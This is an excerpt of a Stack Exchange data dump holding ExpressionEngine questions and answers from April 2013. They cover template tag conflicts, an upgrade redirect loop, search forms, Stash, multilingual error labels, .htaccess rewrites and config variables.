  <row Id="9777" PostTypeId="1" AcceptedAnswerId="9796" CreationDate="2013-04-26T20:55:37.987" Score="0" ViewCount="56" Body="&lt;p&gt;At first I had this particular problem where Assets' {url} tag was returning &quot;http://&quot;, &lt;em&gt;all the time for any file&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{page_gallery}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot; class=&quot;gallery&quot;&amp;gt;&amp;lt;img src=&quot;{url}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/page_gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Resulting in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://&quot; class=&quot;gallery&quot;&amp;gt;&amp;lt;img src=&quot;http://&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After hours of debugging, I've found that it's because that part of the template is wrapped in a &lt;code&gt;{exp:member:custom_profile_data}&lt;/code&gt; where &lt;code&gt;{url}&lt;/code&gt;actually means &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/#url&quot; rel=&quot;nofollow&quot;&gt;the user's URL&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I identified the problem, fine, but there is no way I can remove &lt;code&gt;{exp:member:custom_profile_data}&lt;/code&gt; in this template. Is there any other way to access Assets' &lt;code&gt;{url}&lt;/code&gt;? Namespace it someway?&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2013-04-27T12:48:25.053" Title="Assets conflicting {url} tag" Tags="|assets|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9778" PostTypeId="1" AcceptedAnswerId="9799" CreationDate="2013-04-26T21:20:43.090" Score="5" ViewCount="396" Body="&lt;p&gt;I just tried to upgrade from 2.5.5 to 2.6.  I followed all of the instructions here:  &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/update.html&quot;&gt;http://ellislab.com/expressionengine/user-guide/installation/update.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I try to access my Control Panel (/system), I'm getting &quot;Too many redirects error&quot;: &lt;a href=&quot;http://foo.local/system/index.php?S=0&amp;amp;D=cpC=homepage&quot;&gt;http://foo.local/system/index.php?S=0&amp;amp;D=cpC=homepage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed my .htacess rewrite rules and am still getting this error.&lt;/p&gt;&#xA;" OwnerUserId="1392" LastActivityDate="2013-09-23T16:44:49.107" Title="Upgraded 2.5.5 to 2.6 - Too many redirects when access CP" Tags="|upgrade|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9779" PostTypeId="2" ParentId="9778" CreationDate="2013-04-26T21:40:53.323" Score="0" Body="&lt;p&gt;Try clearing your cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the problem persists after that, turn off extensions in your config file. Open system/expressionengine/config/config.php and change allow_extensions to n: &lt;code&gt;$config['allow_extensions'] = &quot;n&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can log in after disabling extensions, then you know the culprit is some extension you have installed.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-04-26T21:40:53.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9780" PostTypeId="2" ParentId="9777" CreationDate="2013-04-26T21:43:06.850" Score="2" Body="&lt;p&gt;Try the &lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/field.html#shortcut-tags&quot; rel=&quot;nofollow&quot;&gt;shortcut tag&lt;/a&gt;: &lt;code&gt;{page_gallery:url}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-04-26T21:43:06.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9781" PostTypeId="2" ParentId="9772" CreationDate="2013-04-26T22:24:53.870" Score="0" Body="&lt;p&gt;Thanks for the responses. I had just set about breaking down the template, and start rebuilding to see where it breaks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily I noticed something early on. I have a tabbed content area, and whilst checking my half loaded page, I clicked into the final tab. This then displayed the debug and what appeared to be the rest of the page code all within the content area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out that section on the view template and realised that I had an &lt;code&gt;if&lt;/code&gt; statement that (potentially) displayed the postcode field, and it wasn't closed. This was throwing up the error, as none of the properties in Ireland had a postcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doh! Luckily I spotted this early on! Cheers!&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-04-26T22:24:53.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9782" PostTypeId="1" AcceptedAnswerId="9784" CreationDate="2013-04-27T07:39:52.207" Score="0" ViewCount="69" Body="&lt;p&gt;I'm building an event schedule and I'm trying to conceptually figure out how to relate speaker information (name, title, bio) to times lots that the client will define.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;9-10am Session I&lt;/strong&gt;&#xA; - Link to Speaker 1&#xA; - Link to Speaker 2&#xA; - Link to Speaker 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this type of relation with other channels simply through using categories, but in this case I do not know what the time slots will be to set up the categories and template code in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the solution as simple as giving the client access to the category group and have them add custom categories that correspond with the time slot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if my questions are very basic. This is my first EE site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2013-04-28T02:17:00.730" Title="Client defined categories" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9783" PostTypeId="1" CreationDate="2013-04-27T08:01:06.053" Score="1" ViewCount="155" Body="&lt;p&gt;I'm trying to display a phrase based on the language_code&#xA;This is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;offerte&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    dynamic=&quot;no&quot;        &#xA;}&#xA;&#xA;&#xA;{if language_code=&quot;it&quot;}&#xA;    {if no_results}&#xA;        &amp;lt;p&amp;gt;Nessuna offerta al momento&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;&#xA;{if language_code=&quot;en&quot;}&#xA;    {if no_results}&#xA;        &amp;lt;p&amp;gt;No offers at the moment&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/if}       &#xA;&#xA;&#xA;    &amp;lt;h6&amp;gt;{title}&amp;lt;/h6&amp;gt;&#xA;    &amp;lt;p&amp;gt;{descrizione}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the result is that it is shown only the phrase with language_code it , even if language_code is en&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i resolve it? Thanks&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-04-27T09:10:16.197" Title="nested conditional and if no_results" Tags="|conditionals|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9784" PostTypeId="2" ParentId="9782" CreationDate="2013-04-27T08:51:31.477" Score="0" Body="&lt;p&gt;If you don't know the timeslots then it makes any solution a bit trickier. You could do it via categories by setting up a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/category_create_group.html&quot; rel=&quot;nofollow&quot;&gt;category group&lt;/a&gt; and then opening up access to your clients to add their timeslot as a category and tick that. It's probably not the cleanest solution however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find &lt;a href=&quot;http://gotolow.com/addons/low-events&quot; rel=&quot;nofollow&quot;&gt;Low Events&lt;/a&gt; to be useful in this situation which provides a specialised fieldtype for the purpose and makes it easier to retrieve information in your templates later on as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This type of scenario is also more of a relationship where you would relate &lt;strong&gt;&lt;em&gt;Speakers&lt;/em&gt;&lt;/strong&gt; to an &lt;strong&gt;&lt;em&gt;Event&lt;/em&gt;&lt;/strong&gt; and allocate a timeslot. EE 2.6 (released earlier this week) now provides a big improvement to native relationship handling which, again could be useful addition in this scenario. If used in combination with &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; then you could allow the users to log in and add themselves to a single Event entry with speakers, timeslots and topics in a grid display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all depends on your particular use case. But that should provide a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-27T08:51:31.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9785" PostTypeId="2" ParentId="9778" CreationDate="2013-04-27T09:01:34.197" Score="0" Body="&lt;p&gt;In addition to Rob's suggestion, it's also worth clearing your caches and if the problem persists then run the upgrade again incase something didn't quite copy over.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-27T09:01:34.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9786" PostTypeId="2" ParentId="9783" CreationDate="2013-04-27T09:10:16.197" Score="1" Body="&lt;p&gt;Resolved. I created a variables and changed the code to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;offerte_{language_code}&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    dynamic=&quot;no&quot;        &#xA;}&#xA;&#xA;&#xA;    {if no_results}&#xA;        {nessuna_offerta-{language_code}}           &#xA;    {/if}   &#xA;&#xA;&#xA;    &amp;lt;h6&amp;gt;{title}&amp;lt;/h6&amp;gt;&#xA;    &amp;lt;p&amp;gt;{descrizione}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-04-27T09:10:16.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9787" PostTypeId="1" AcceptedAnswerId="9814" CreationDate="2013-04-27T09:12:01.343" Score="0" ViewCount="331" Body="&lt;p&gt;Just looking for a pointer in sorting out a search form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am implementing a property search form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a search field and a couple of range filters, and a grouped category drop down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;cottages&quot; class=&quot;walk-search-form&quot; search_mode=&quot;all&quot; query=&quot;{segment_3}&quot; result_page=&quot;cottages/results&quot;}&#xA;&#xA;                    &amp;lt;label&amp;gt;Search for a cottage:&amp;lt;/label&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; class=&quot;span5&quot; /&amp;gt;&#xA;&#xA;&#xA;&#xA;                    &amp;lt;label&amp;gt;Choose a county:&amp;lt;/label&amp;gt;&#xA;&#xA;                    &amp;lt;select name=&quot;search:cottage_county&quot;&amp;gt;&#xA;                      &amp;lt;option value=&quot;&quot;&amp;gt;Filter by Category&amp;lt;/option&amp;gt;&#xA;                      {exp:channel:categories cache=&quot;yes&quot; refresh=&quot;60&quot; channel=&quot;cottages&quot; disable=&quot;category_fields&quot; style=&quot;linear&quot;}&#xA;                      {if parent_id == '0'}{if count != '1'}&amp;lt;/optgroup&amp;gt;{/if}&amp;lt;optgroup label=&quot;{category_name}&quot;&amp;gt;{/if}&#xA;                      {if parent_id != '0'}&amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;{/if}&#xA;                      {/exp:channel:categories}&#xA;                     &amp;lt;/select&amp;gt;&#xA;&#xA;&#xA;                    &amp;lt;label&amp;gt;Sleeps a Max of:&amp;lt;/label&amp;gt;&#xA;&#xA;                    &amp;lt;select name=&quot;range:cottages_sleeps_max&quot; class=&quot;span2&quot;&amp;gt;&#xA;                      &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;1;&quot;&amp;gt;1 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;2;&quot;&amp;gt;2 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;3;&quot;&amp;gt;3 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;4;&quot;&amp;gt;4 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;5;&quot;&amp;gt;5 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;6;&quot;&amp;gt;6 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;7;&quot;&amp;gt;7 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;8;&quot;&amp;gt;8 or more&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;&#xA;                    &amp;lt;label&amp;gt;No of Beds:&amp;lt;/label&amp;gt;&#xA;&#xA;                    &amp;lt;select name=&quot;range:cottages_beds&quot; class=&quot;span2&quot;&amp;gt;&#xA;                      &amp;lt;option value=&quot;&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;1;&quot;&amp;gt;1 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;2;&quot;&amp;gt;2 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;3;&quot;&amp;gt;3 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;4;&quot;&amp;gt;4 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;5;&quot;&amp;gt;5 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;6;&quot;&amp;gt;6 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;7;&quot;&amp;gt;7 or more&amp;lt;/option&amp;gt;&#xA;                      &amp;lt;option value=&quot;8;&quot;&amp;gt;8 or more&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;/select&amp;gt;&#xA;&#xA;&#xA;&#xA;                    &amp;lt;button class=&quot;btn btn-large btn-block btn-blue&quot; type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;&#xA;                {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far the search field and the range dropdowns both work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The category dropdown displays correctly, i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parent Cat&#xA;-child 1&#xA;-child 2&#xA;Parent Cat 2&#xA;-child 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I perform a search on it, it returns every entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing is that I want the category, and range values to remain selected once the search has been performed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low helped me before in a similar search form, but i've tried everything that was suggested there, but as this is a slightly different scenario, they don't seem to be working :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK I seem to have the category search working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed &lt;code&gt;&amp;lt;select name=&quot;search:cottage_county&quot;&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;select name=&quot;category:cottage_county&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns the right results, but is there a way for me to display the name of the category that they selected in the results page?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2013-04-27T09:36:24.950" LastActivityDate="2013-04-28T10:15:48.363" Title="Low search for using grouped category dropdown" Tags="|categories|search|low-search|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9788" PostTypeId="2" ParentId="9787" CreationDate="2013-04-27T09:42:05.603" Score="0" Body="&lt;p&gt;If the category shows up in the URL then you can easily pull it out with &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{segment_n_category_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-27T09:42:05.603" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9789" PostTypeId="2" ParentId="9778" CreationDate="2013-04-27T10:30:13.493" Score="0" Body="&lt;p&gt;I get the same &quot;too many redirects&quot;-error on the ExpressionEngine control panel start page. On all other control panel pages I have no problem ...&lt;/p&gt;&#xA;" OwnerUserId="980" LastActivityDate="2013-04-27T10:30:13.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9790" PostTypeId="1" CreationDate="2013-04-27T11:40:43.050" Score="1" ViewCount="158" Body="&lt;p&gt;I’ve seen an example almost identical to what I’m trying to attempt here:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9251/how-to-get-attempted-url-before-access-restriction&quot;&gt;How to get attempted url before access restriction?&lt;/a&gt;&#xA;However, my templates don’t see to want to cooperate:&#xA;Template 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    {if logged_in}&#xA;     {embed=&quot;myfig/upload-view&quot;}&#xA;    {if:else}&#xA;     {exp:stash:set name=&quot;login_form_return&quot; scope=&quot;user&quot; save=&quot;yes&quot;}{segment_2}    {/exp:stash:set}&#xA;    {redirect=&quot;/myfig/&quot;}&#xA;    {/if} &lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template 2:&lt;pre&gt;&#xA;Stash: {exp:stash:get name=&quot;login_form_return&quot;}&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if '{exp:stash:get name=&quot;login_form_return&quot;}'}&#xA;     Proof Manager&#xA;     {if:else}&#xA;     Something else&#xA;     {/if}&lt;/p&gt;&#xA;&#xA;&lt;code&gt; {exp:zoo_visitor:login_form &#xA; error_handling=&quot;inline&quot;&#xA;  }&#xA;&#xA; {if '{exp:stash:get name=&quot;login_form_return&quot;}' ==&quot;myfig/proofmanager&quot;}&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value='myfig/proofmanager' /&amp;gt;&#xA; {if:else}&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;/myfig/dashboard/&quot; /&amp;gt;&#xA;&#xA; {/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing returns on my GET attempt. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-04-29T01:26:43.590" Title="EE Stash not passing to new page" Tags="|stash|zoo-visitor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9791" PostTypeId="1" CreationDate="2013-04-27T12:17:36.043" Score="1" ViewCount="83" Body="&lt;p&gt;I'm currently setting up a multilanguage website that enables members to update their own information, news, events, etc. &#xA;For adding and updating this personalized content I'm using safecracker and it's working fine.  One thing I cannot get around is rather cosmetic but important for user experience: validation error messages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using different language packs to be able to view the inline error messages in the right language of the user.  However the problem is that the is that the fieldname in the error message is the name of the field in EE, in my case it has been defined in English. The end result is that it displays the error half in English (the fieldname) and half in the userlanguage (e.g. dutch or french), like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Het veld Company Name is een verplicht veld&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this does not make sense to an enduser...&#xA;My question: is there a way to pass a variable to the {error:field_name} that can be used a field name in the error message e.g. &lt;code&gt;{error:field_name label=&quot;Bedrijfsnaam&quot;}&lt;/code&gt; (Bedrijfsnaam is Company Name in dutch fyi) so the error message then is shown completely in the correct language &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Het veld Bedrijfsnaam is een verplicht veld&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rg,&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-05-29T16:31:07.870" Title="Custom labels in safecracker error messages" Tags="|safecracker|multi-language|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9792" PostTypeId="1" AcceptedAnswerId="9803" CreationDate="2013-04-27T12:28:34.787" Score="0" ViewCount="188" Body="&lt;p&gt;I'm working a multilingual site in EE and I am optimizing the URL's for SEO reasons in multi languages as well.  The purpose is that people can visit the URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.domain.com/nl/contact/medewerkers&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/nl/contact/medewerkers&lt;/a&gt;&#xA;and also&#xA;&lt;a href=&quot;http://www.domain.com/fr/contact/personnel&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/fr/contact/personnel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;both pointing to the same templategroup 'medewerkers' (medewerkers is staff in English fyi)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be complete: the switch of the language is triggered by the first segment in the URL and works fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea was to have some entries in the .htaccess in the /fr subdir of the site to make the 'translation' of the URL to right template group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in this /fr/.htaccess I've specified&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteRule ^contact/personnel$ contact/medewerkers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However for some reason this does not seem to work properly&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-04-27T20:32:59.257" Title="Unexpected results using .htaccess rewrites" Tags="|htaccess|multi-language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9793" PostTypeId="2" ParentId="9790" CreationDate="2013-04-27T12:36:29.767" Score="2" Body="&lt;p&gt;This will most likely be to do with parse order. EE templates get processed in layers rather than top to bottom and you're using a complex conditional. To move it up the parse order try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    {embed=&quot;myfig/upload-view&quot;}&#xA;{/if}&#xA;{if logged_out}&#xA;    {exp:stash:set name=&quot;login_form_return&quot; scope=&quot;user&quot; save=&quot;yes&quot;}{segment_2}    {/exp:stash:set}&#xA;    {redirect=&quot;/myfig/&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This converts it to a simple conditional and may very well solve the issue.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-27T12:36:29.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9794" PostTypeId="2" ParentId="9791" CreationDate="2013-04-27T12:43:40.907" Score="0" Body="&lt;p&gt;It all depends on how you've setup your multi-lingual website but if you're following &lt;a href=&quot;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;this type of method&lt;/a&gt; then you just need to throw in a conditional check for the language within your error checking, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if error:field_name}&#xA;&#xA;    Default language error message&#xA;&#xA;    {if language=&quot;en&quot;}&#xA;        English error message&#xA;    {/if}&#xA;&#xA;    ...&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-27T12:43:40.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9795" PostTypeId="1" AcceptedAnswerId="9809" CreationDate="2013-04-27T12:44:11.100" Score="0" ViewCount="78" Body="&lt;p&gt;I moved my EE install from the test server to the live server but when I’m trying to reset the password at site.com/system/index.php the email I get has the domain for the old server under:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To reset your password, please go to the following page:&#xA;  &lt;a href=&quot;http://olddomain.com/admin.php?D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;id=0n6xTd0m&quot; rel=&quot;nofollow&quot;&gt;http://olddomain.com/admin.php?D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;id=0n6xTd0m&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do I fix this so it points to the new domain? I already replaced all instances of the old domain in the database file, so not sure where this would be changed&lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2019-09-29T14:19:44.670" Title="Wrong Domain When Resetting Password" Tags="|login|password|forgot-password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9796" PostTypeId="2" ParentId="9777" CreationDate="2013-04-27T12:48:25.053" Score="1" Body="&lt;p&gt;Another way would be to use the var_prefix parameter.&#xA;{page_gallery var_prefix=&quot;image} {image:url} {/page_gallery}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yet another would be just to use the Assets field as a single tag: {page_gallery}&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-04-27T12:48:25.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9797" PostTypeId="2" ParentId="9664" CreationDate="2013-04-27T14:39:54.617" Score="4" Body="&lt;p&gt;Might seem like a silly question, but are you sure you're looking at the correct database for the site? For example, do you have a development site/database/configuration file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookie/Session problems will normally just bounce you to the homepage or back to the login screen. This sounds more like an actual problem authenticating the username/password which really can only be because what you're typing in doesn't match what's in the database table.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-27T14:39:54.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9798" PostTypeId="1" AcceptedAnswerId="9800" CreationDate="2013-04-27T15:15:31.740" Score="7" ViewCount="3953" Body="&lt;p&gt;I'm trying to build a simple config bootstrap for use in multi-server environments. I realise there are lots of config bootstraps around, but a lot of the popular ones seem a bit complicated for what I need (and feel comfortable with) at this stage. I'm currently &lt;a href=&quot;https://bitbucket.org/webunder/ee2_config_template/src/afc7361c189f9d9d5b683374f83f0c6acb144e5f/database.php?at=master&quot;&gt;using this&lt;/a&gt; for the database.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a global variable (or another type of variable that can be used in the same way) inside the config.php file, and then be able to output it inside the templates - how would I go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried creating this and adding it to the config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['my_google_analytics_key'] = 'UA-XXXXXXX-XX';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But entering &lt;code&gt;{my_google_analytics_key}&lt;/code&gt; inside my templates outputs &lt;code&gt;{my_google_analytics_key}&lt;/code&gt; rather than &lt;code&gt;UA-XXXXXXX-XX&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm obviously going about this the wrong way, but I'm not sure what steps I'm missing. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2017-04-12T14:12:40.783" Title="How to create a global variable inside config.php" Tags="|config|global-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9799" PostTypeId="2" ParentId="9778" CreationDate="2013-04-27T15:25:09.093" Score="5" Body="&lt;p&gt;This looks like a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19334&quot; rel=&quot;nofollow&quot;&gt;bug in EE2.6&lt;/a&gt;. Here's the proposed fix from that report:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Changed line 407 of system/expression/libraries/core.php from:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;ee()-&amp;gt;functions-&amp;gt;redirect(BASE.'C=homepage');&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;to:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;ee()-&amp;gt;functions-&amp;gt;redirect(BASE.AMP.'C=homepage');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2013-09-23T16:44:49.107" LastActivityDate="2013-09-23T16:44:49.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
